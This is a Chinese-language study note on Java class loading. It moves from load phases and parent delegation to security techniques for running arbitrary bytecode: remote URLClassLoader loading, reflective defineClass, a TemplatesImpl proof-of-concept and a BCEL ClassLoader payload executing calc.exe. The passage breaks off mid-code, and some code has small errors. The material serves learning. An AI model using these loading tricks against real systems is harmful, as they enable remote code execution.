java的类加载机制的学习

一、类加载的过程

一个类被加载到虚拟机内存中开始,到卸载出虚拟机内存为止,整个生命周期分为七个阶段,分别是++加载、验证、准备、解析、初始化、使用和卸载++。其中验证、准备和解析这三个阶段统称为连接。

除去使用和卸载,就是Java的类加载过程。这5个阶段一般是顺序发生的,但在动态绑定的情况下,解析阶段发生在初始化阶段之后。

1、Loading(载入)

JVM在该阶段的目的是将字节码从不同的数据源(可能是class文件、也可能是jar包,甚至网络) 转化未二进制字节流加载到内存中并生成也给代表该类的 java.lang.Class对象。

2、Verification(验证)

JVM会在该阶段对二进制字节流进行校验,只有符合JVM字节码规范的才能被JVM正确执行。该阶段是保证JVM安全的重要屏障,此阶段大致会完成4个阶段的检验:文件格式验证、元数据验证、字节码验证、符号引用验证

  • 文件格式验证:验证字节流是否符合格式规范,并且能被当前虚拟机处理
  • 元数据验证:对字节码描述的信息进行语义分析,保证其描述的信息符合Java语言规范的要求
  • 字节码验证:通过数据流和控制流饭呢西,确定程序语义是否合法,符合逻辑。这个阶段对类的方法体进行校验分析,保证被校验的类的方法在运行时不会做危害虚拟机安全的事情
  • 符号引用验证:最后一个阶段的校验发生在虚拟机符号引用转化未直引用的时候,这个转化动作将在连接的第三阶段--解析阶段发生。符号引用校验可以看做事对类自身以外(常量池的各种符号引用)的信息进行匹配性校验。

3、Preparation(准备)

JVM会在该阶段对类变量(也称为静态变量, static关键字修饰) 分配内存并初始化,对应数据类型的默认初始化,如0、0L、null、false等。

假如代码如下:

java 复制代码
public String aa = "张三";
public static String bb = "李四";
public static final String cc = "王五";

aa不会被分配内存,而 bb会,到那时bb的初始值是null,而不是"李四";而cc(final 修饰) 常量既分配内存并且初始值是 "王五",一旦赋值就不会改变了

4、Resolution(解析)

该阶段将常量池中的符号引用转化为直接引用。

符号引用 用一组符号(任何形式的字面量,只要在使用时能够无歧义的定义到目标即可)来描述所引用的目标

在编译时,Java类并不知道所引用的类的实际地址,因此只能使用符号引用来代替。比如 com.Wangwu 类 引用了 com.Lisi类 ,编译时 Wangwu类并不知道 Lisi类的实际内存地址,因为只能使用符号 com.Lisi 。

直接引用通过对符号引用进行解析,找到引用的实际内存地址。我们再来对比说明一下。

符号引用:

  • 定义:包含了类、字段、方法、接口等多种符号的全限定名
  • 特点:在编译时生成,存储在编译后的字节码文件 的常量池中
  • 独立性:不依赖于具体的内存地址,提供了更好的灵活性

直接引用:

  • 定义:直接指向目标的指针、相对偏移量或者能间接定位到目标的句柄
  • 特点:在运行时生成,依赖于具体的内存布局
  • 效率:由于直接指向了内存地址或者偏移量,所以通过直接引用访问对象的效率较高

在上面的例子中:

  • class A 引用了 class B
  • 在编译时,这个引用变成了符号引用,存储在.class 文件的常量池中。
  • 在运行时,当classA 需要使用class B 的时候,JVM会将符号引用解析为直接引用,指向内存中的 class B 对象或其元数据。

通过这种方式,Java程序能够在编译时和运行时具有更高的灵活性和解耦性,同时在运行时也能活得更好的性能。

Java 本身是一个静态语言,但后面又加入了动态加载特性,因此我们理解解析阶段需要从这两方面来考虑。

如果不涉及动态加载,那么一个符号的解析结果是可以缓存的,这样可以避免多次解析同一个符号,因为第一次解析成功后面多次解析也必然成功,第一次解析异常后面重新解析也会是同样的结果。

如果使用了动态加载,前面使用动态加载解析过的符号后面重新解析结果可能会不同。使用动态加载时解析过程发生在在程序执行到这条指令的时候,这就是为什么前面讲的动态加载时解析会在初始化后执行。

整个解析阶段主要做了下面几个工作:

  • 类或接口的解析
  • 类方法解析
  • 接口方法解析
  • 字段解析

5、Initialization(初始化)

初始化是类加载阶段的最后一个阶段,也是类加载过程中最重要的一个阶段。在这一个阶段用户定义的Java程序的代码(字节码) 才真正开始执行。什么意思呢?刚才提到的在准备阶段JVM为类变量赋默认的初始值,而初始化的阶段类变量才会被赋予我们在代码中中声明的值。JVM会根据语句执行顺序对类对象进行初始化。

一般来说JVM遇到下面6种情况的时候会触发类加载的初始化(在执行初始化阶段之前需要先执行加载、验证和准备阶段):

  • 遇到new 、 getstatic、 putstatic、 invokestatic 这四条字节码指令时。如果类没有进行过初始化,则需要先触发其初始化。生成这4条指令的最常见的Java场景是:
    • 使用new 关键字实例化对象的时候
    • 读取或设置一个类的静态字段(被final修饰、已在编译器把结果放入常量池的静态字段除外)的时候
    • 调用一个类的静态方法的时候
  • 使用java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行过初始化,则需要先触发其初始化
  • 当初始化一个类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化
  • 当虚拟机启动时,用户需要指定一个要执行的主类(包括main()方法的那个类),虚拟机会先初始化这个主类
  • 当使用JDK1.7 动态语言支持时,如果一个 java.lang.invoke.MethodHandle实例最后的解析结果 REF_getstatic、REF_putstatic、REF_invokeStatic 的方法句柄,并且这个方向句柄所对应的类没有进行初始化,则需要先触发其初始化
  • 当一个接口中定义了JDK8 新加入的默认方法(被default关键字修饰的接口方法)时,如果有这个接口的实现类发生了初始化,那该接口要在其之前被初始化。

6、示例说明

java 复制代码
public class Singleton {
    private static Singleton singleton = new Singleton();
    public static int x;
    public static int y = 0;

    private Singleton() {
        ++x;
        ++y;
        System.out.println("Singleton构造方法执行,x = " + x +",y = " + y);
    }

    public static void main(String[] args) {
        System.out.println("singleton.x = " + singleton.x);
        System.out.println("singleton.x = " + singleton.y);
    }
}

输出结果:

java 复制代码
Singleton构造方法执行,x = 1,y = 1
singleton.x = 1
singleton.x = 0

解析:

1)从触发类初始化的第④ 个条件可知,虚拟机启动时会先加载包含main方法的类。因此Singleton 首先会触发类加载流程。

2)而经过加载、验证流程后,进入类加载的准备阶段,这一阶段虚拟机会为类变量分配内存和并对其进行初始化赋值。注意,准备阶段只会给类变量赋默认值,经过准备阶段后结果如下:

java 复制代码
public class Singleton {
    private static Singleton singleton = null;
    public static int x = 0;
    public static int y = 0;
}

3)初始化阶段会根据代码顺序为类变量赋代码中声明的值。因此,首先会实例化Singleton ,并将实例化后的值赋给singleton。而此时,由于x、y还没有被赋值。因此x、y均为0。所以,在经过"++"操作后输出x、y的值均为1。

4)接下来为x、y赋代码中声明的值,而在我们的代码中x没有赋初始值,y则被赋值为0。因此,此时x仍然为1,而y则被赋值为0.

5)类加载完成后打印x、y的值。

二、类加载器

1、简单示例

聊完类加载过程,就不得不聊聊类加载器。

类加载的过程是由类加载器来完成的,类加载器在Java程序中起到的作用远超类加载阶段。我们在程序中使用到的任意一个类都需要类加载器将其加载到虚拟机,并且由类加载器保证被加载类的唯一性。 两个类是否相等的前提条件是这两个类是由同一个类加载器加载的。如果两个类来自同一个Class文件,但是被同一个虚拟机下不同的加载器加载,那么这两个类必定不相等。

通过一段代码简单的了解下:

java 复制代码
public class Test{
    public static void main(String[] args) {
        ClassLoader loader = Test.class.getClassLoader();
        while (loader != null) {
            System.out.println(loader);
            loader = loader.getParent();
        }
    }
   
}

每个Java类都维护着一个指向定义它的类加载器的引用,通过 类名.class.getClassLoader() 可以获取到此引用,然后通过 loader.getParent() 可以获取到类加载器的上层加载器。

上面代码的输出结果为:

第一行输出的为 Test 的类加载器,即应用类加载器,他是 sun.misc.Launcher&AppClassLoader 的类的实例; 第二行输出为扩展类加载器,它是 sun.misc.Launcher&ExtClassLoader 类的实例,那启动类加载器呢?

按理说,扩展类加载器的上层类加载器是启动类加载器,但是启动类加载器是虚拟机的内置类加载器,通常表示为null。

2、类型划分

类加载器的划分如下:

1、启动类加载器(Bootstrap Class Loader)

这个类加载器是虚拟机的一部分,使用C++语言实现。其只负责加载存放在<JAVA_HOME>\lib 目录或者被 -Xbootclasspath 参数所指定的路径中存放的Java虚拟机能够识别的(按照文件名识别,如rt.jar tool.jar 。名字不符合的类库即使放在lib目录下也不会被加载) 类库加载到虚拟机中。

2、扩展类加载器(Extension Class Loader)

这个类加载器位于类sun.misc.Launcher&ExtClassLoader中,并且是由Java代码所实现的。它负责加载<Java_HOME>\lib\ext 目录中, 或被 java.ext.dirs 系统变量所指定的路径中所有的类库。开发者可以直接在程序中使用扩展类加载器来加载Class文件。

3、应用程序类加载器(Application Class Loader)

这个类加载器位于 sun.misc.Launcher&AppClassLoader 中,同样是由Java语言实现。他负责加载用户类路径(ClassPath)上所有的类库,开发者同样可以直接在代码中使用这个类加载器。如果程序中没有自定义的类加载器,一般情况下这个就是程序中默认的类加载器

4、自定义类加载器(User Class Loader)

除了上述三种Java系统中的类加载器外,很多情况下用户还会通过自定义类加载器加载所需要的类。诸如增加除了磁盘位置之外的Class文件来源,或者通过类加载器实现类的隔离、重载等功能。通过继承 java.lang.ClassLoader 类的方式实现。这在需要动态加载资源、实现模块化框架或者特殊的类加载策略时非常有用

自定义类加载器示例:

这个自定义类加载器做了以下几件事情:

  • 构造器:接受一个字符串参数,这个字符串指定了类文件的存放路径。
  • 覆写 findClass 方法:当父类加载器无法加载类时,findClass 方法会被调用。在这个方法中,首先使用 loadClassData 方法读取类文件的字节码,然后调用 defineClass 方法来将这些字节码转换为 Class 对象。
  • loadClassData 方法:读取指定路径下的类文件内容,并将内容作为字节数组返回
java 复制代码
import java.io.*;

public class CustomCLassLoader extends ClassLoader{
    private String  pathToBin;

    public void CustomClassLoader(String pathToBin){
        this.pathToBin = pathToBin;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException{
        try {
            byte[] classData = loadClassData(name);
            return defineClass(name, classData, 0, classData.length);
        }catch(IOException e){
            throw new ClassNotFoundException("Class" + name + " not found", e);
        }
    }

    private byte[] loadClassData(String name) throws IOException{
        String file = pathToBin + name.replace('.',File.separatorChar) + ".class";
        InputStream is = new FileInputStream(file);
        ByteArrayOutputStream  byteSt = new ByteArrayOutputStream();
        int len = 0;
        while((len= is.read()) != -1){
            byteSt.write(len);
        }
        return byteSt.toByteArray();
    }
}

3、双亲委派模型

前面我们已经提到两个类相等的前提条件应该是这两个类是由同一个类加载器加载的。既然Java种存在这么多的类加载器,那么Java是如何保证同一个类都是由同一个类加载器加载的呢?这主要得益于类加载器的"双亲委派模型"。接下来我们就来认识一下什么是"双亲委派模型"。

双亲委派模型(Parent Delegation Model)是 Java 类加载器使用的一种机制,用于确保 Java 程序的稳定性和安全性。在这个模型中,类加载器在尝试加载一个类时,首先会委派给其父加载器去尝试加载这个类,只有在父加载器无法加载该类时,子加载器才会尝试自己去加载

双亲委派模型结构图:

Bootstrap ClassLoader

Extension ClassLoader

System/Application ClassLoader

Custom ClassLoader

双亲委派模型的工作过程如下:

如果一个类加载器收到了类加载的请求,首先它不会自己尝试加载这个类,而是把这个请求委派给父类加载器来完成,每个层次的类加载器都是如此。因此,所有的类加载请求最终都会被传送到最顶层的启动类加载器种,只有当父加载器无法找到这个加载请求的类时,子类加载器才会尝试去完成加载。

双亲委派模型的代码实现:

java 复制代码
protected synchronized Class<?> loadClass(String name, boolean resolve)throws ClassNotFoundException {
        // 首先检查该类型是否已经被加载过了
        Class c = findLoadedClass(name);
        if (c == null) { //如果这个类还没有被加载,则尝试加载该类
            try {
                if (parent != null) { // 如果存在父类加载器,就委派给父类加载器加载
                    c = parent.loadClass(name, false);
                } else { // 如果不存在父类加载器,就尝试使用启动类加载器加载
                    c = findBootstrapClass0(name);
                }
            } catch (ClassNotFoundException e) {// 父类加载器找不到要加载的类,则抛出ClassNotFoundException 
                // 尝试调用自身的findClass方法进行类加载
                c = findClass(name);
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }

三、Java中动态加载字节码的方法

1、什么是Java的"字节码"

简单说Java字节码就是 .class 后缀的文件,里面存在Java虚拟机执行的命令。

由于Java是一门跨平台的编译型语言,所以可以适用于不同的平台,不同CPU的计算机,开发者只需要将自己的代码编译一次,就可以运行在不同平台的JVM中。

甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成 .class 文件,都可以在JVM虚拟机中运行。当然也可以理解的更广义一些--- 所有能够恢复成一个类并在JVM虚拟机里加载的字节序列

2、利用URLClassLoader 加载远程class文件

ClassLoader 是一个加载器,就是用来告诉JVM虚拟机如何去加载这个类,默认就是根据类名来加载类,这个类名需要是完整路径,比如说 java.lang.Runtime

++URLClassLoader++ 实际上是我们平时默认使用的 AppClassLoader 的父类,所以我们解释 ++URLClassLoader++的工作过程实际上就是在解释默认的Java类加载器的工作流程。

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找 .class 文件来加载,而这个基础路径又分为三种情况:

  • URL未以斜杠 / 结尾, 则认为是一个 JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠 / 结尾,且协议名是file, 则使用FileLoader来寻找类,即为在本地文件系统中寻找 .class 文件
  • URL以斜杠 / 结尾,且协议名不是 file, 则使用最基础的 Loader 来寻找类

使用Http 协议测试,看Java是否能从远程Http服务器上加载 .class 文件:

java 复制代码
远程加载类 HelloClassLoader.java

import java.net.URL;
import java.net.URLClassLoader;

public class HelloClassLoader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://127.0.0.1:8888/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("Hello");
        c.newInstance();
    }
}

将编译的 .class 文件放在服务器上,http://127.0.0.1:8888/Hello.class

java 复制代码
远程.class文件  Hello.java

public class Hello {
    static{
        System.out.println("Hello,gk0d");
    }
}

成功请求到我们的 /Hello.class 文件,并执行了文件里的字节码,输出了 "Hello youzi".

所以,如果要攻击这部分,如果能够控制目标的 Java ClassLoader的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。

3、利用ClassLoader#defineClass直接加载字节码

其实,不管是加载远程的class文件,还是本地的class或者jar文件,Java都经历下面三个方法的调用

ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass

  • loadClass 的作用时从加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以真正核心的部分其实是 defineClass , 它决定了如何将一段字节流转变成一个Java类,Java默认的ClassLoader#defineClass 是一个 native方法,逻辑在JVM的C语言代码中。

native方法称为本地方法。在java源程序中以关键字"native"声明,不提供函数体。

其实现使用C/C++语言在另外的文件中编写,编写的规则遵循Java本地接口的规范(简称JNI)。

简而言就是Java中声明的可调用的使用C/C++实现的方法。

示例:

java 复制代码
import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
    public static void main(String[] args) throws Exception{
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);

        byte[] code = Base64.getDecoder().decode("yv66vgAAADMAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAAcACAcAGQwAGgAbAQAMSGVsbG8sIHlvdXppBwAcDAAdAB4BAAVIZWxsbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAIAAQAHAAgAAQAJAAAALwABAAEAAAAFKrcAAbEAAAACAAoAAAAGAAEAAAABAAsAAAAMAAEAAAAFAAwADQAAAAgADgAIAAEACQAAACUAAgAAAAAACbIAAhIDtgAEsQAAAAEACgAAAAoAAgAAAAMACAAEAAEADwAAAAIAEA==");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        hello.newInstance();
    }
}


// ClassLoader.getSystemClassLoader()返回系统的类加载器对象

其中 decode是我们Hello.class 文件的 base64编码

注意:在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式的调用其构造函数,初始化代码才能被执行。 而且,即使我们将初始化代码放在类的static块中(参考前面 Hello.java代码), 在defineClass时也无法被直接调用到(参考前面 类加载过程 初始化条件) 。 所以,如果我们要使用 defineClass在目标机器执行任意代码,需要想办法带调用构造函数

这里,因为系统的 ClassLoader#defineClass是一个保护属性,所以我们无法直接外部访问,不得不使用反射的形式来调用。

但在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

4、利用TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass 方法,但是Java底层还是有一些类用到了它(否则也就没存在的价值了),这就是TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClasLoader:

java 复制代码
static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

这个类重写了 defineClass 方法,并且这里没有显式地声明其作用域。 Java默认情况下,如果一个方法没有显式声明作用域,其作用域为 default 。 所以也就是说这里的 defineClass 由其父类的protected类型变成了一个default 类型的方法,可以被类外部调用。

从 TransletClassLoader#defineClass() 向前追溯一下调用链

TransletClassLoader#defineClass()

-> TemplatesImpl#defineTransletClasses()

-> TemplatesImpl#getTransletInstance()

-> TemplatesImpl#newTransformer()

-> TemplatesImpl#getOutputProperties()

先看 TemplatesImpl#defineTransletClasses() 方法:

java 复制代码
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

但这是一个 private 方法,还是不能直接调用,继续往上看 TemplatesImpl#getTransletInstance():

java 复制代码
private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法

            // The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet)
                    _class[_transletIndex].getConstructor().newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException | IllegalAccessException |
                NoSuchMethodException | InvocationTargetException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString(), e);
        }
    }

还是private 方法,继续找到 TemplatesImpl#newTransformer() 方法

java 复制代码
public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//调用了getTransletInstance方法

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

是public方法,可以直接调用,所以调用链就出来了。

首先得设置 TemplateImpl对象 的三个私有属性,这里用反射设置就行,三个属性为: _bytecodes 、 _name 、 _tfactory

  • _name : 为任意字符串,只要不是null才可以进入 defineTransletClasses()
  • _bytecodes :由字节码组成的数组,用来存放恶意代码,其值不能为null
  • _tfactory :需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用 _tfactory.getExternalExtensionsMap() ,如果是null会出错

另外 TemplatesImpl 中对加载的字节码是有一定要求的: 这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

所以我们需要构造一个特殊的类:

java 复制代码
HelloTemplatesImpl.java


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() {
        super();
        System.out.println("Hello TemplatesImpl");
    }
}

解释下为什么多了两个transform方法:
这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现, 这时子类如果不是抽象的,那必须将其他接口方法都实现。 这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) 是父类里面的抽象方法所以要重写 transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写

同样将其编译为class文件,然后base64编码

最后就是写poc了,就新建一个TemplatesImpl对象,把属性设置进去然后执行newTransformer方法触发,主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue

java 复制代码
testTemplatesImpl.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.lang.reflect.Field;
import java.util.Base64;

public class testTemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, Value);
    }

    public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

5、利用BCEL ClassLoader 加载字节码

关于BCEL先看看p神的:BCEL ClassLoader去哪了 | 离别歌

BCEL的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中。

BCEL包中有 com.sun.org.apache.bcel.internal.util.ClassLoader 类,它是一个ClassLoader,但重写了Java内置的ClassLoader#LoadClass方法

在LoadClass中,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode

来看一下decode的具体算法:

java 复制代码
private static class JavaWriter extends FilterWriter {
    public JavaWriter(Writer out) {
      super(out);
    }

    public void write(int b) throws IOException {
      if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
        out.write(b);
      } else {
        out.write(ESCAPE_CHAR); // Escape character

        // Special escape
        if(b >= 0 && b < FREE_CHARS) {
          out.write(CHAR_MAP[b]);
        } else { // Normal escape
          char[] tmp = Integer.toHexString(b).toCharArray();

          if(tmp.length == 1) {
            out.write('0');
            out.write(tmp[0]);
          } else {
            out.write(tmp[0]);
            out.write(tmp[1]);
          }
        }
      }
    }

    public void write(char[] cbuf, int off, int len) throws IOException {
      for(int i=0; i < len; i++)
        write(cbuf[off + i]);
    }

    public void write(String str, int off, int len) throws IOException {
      write(str.toCharArray(), off, len);
    }
  }

可以理解为是传统字节码的16进制编码,然后将 \ 替换为 $ ,默认还会在最外层加上 GZip 压缩

编写恶意类:

java 复制代码
calc.java

import java.io.IOException;

public class calc {
    static{
        try{
            Runtime.getRuntime().exec("calc.exe");
        }catch(IOException e){
            e.printStackTrace();
        }
    }
}

然后通过BCEL提供的两个类Repositoryutility来利用:

Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得);

utility用于将原生字节码转换成BCEL格式的字节码

java 复制代码
POP.java

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class POP {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(calc.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);
    }
}

最后用BCEL ClassLoader加载这串特殊的字节码(前面加上:"$$BCEL$$",并执行里面的代码:

java 复制代码
testBCEL.java

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class testBCEL {
    public static void main(String[] args) throws Exception {
        b();
        c();
    }
    private static void b() throws Exception{
        JavaClass javaClass = Repository.lookupClass(calc.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);
    }
    private static void c() throws Exception{
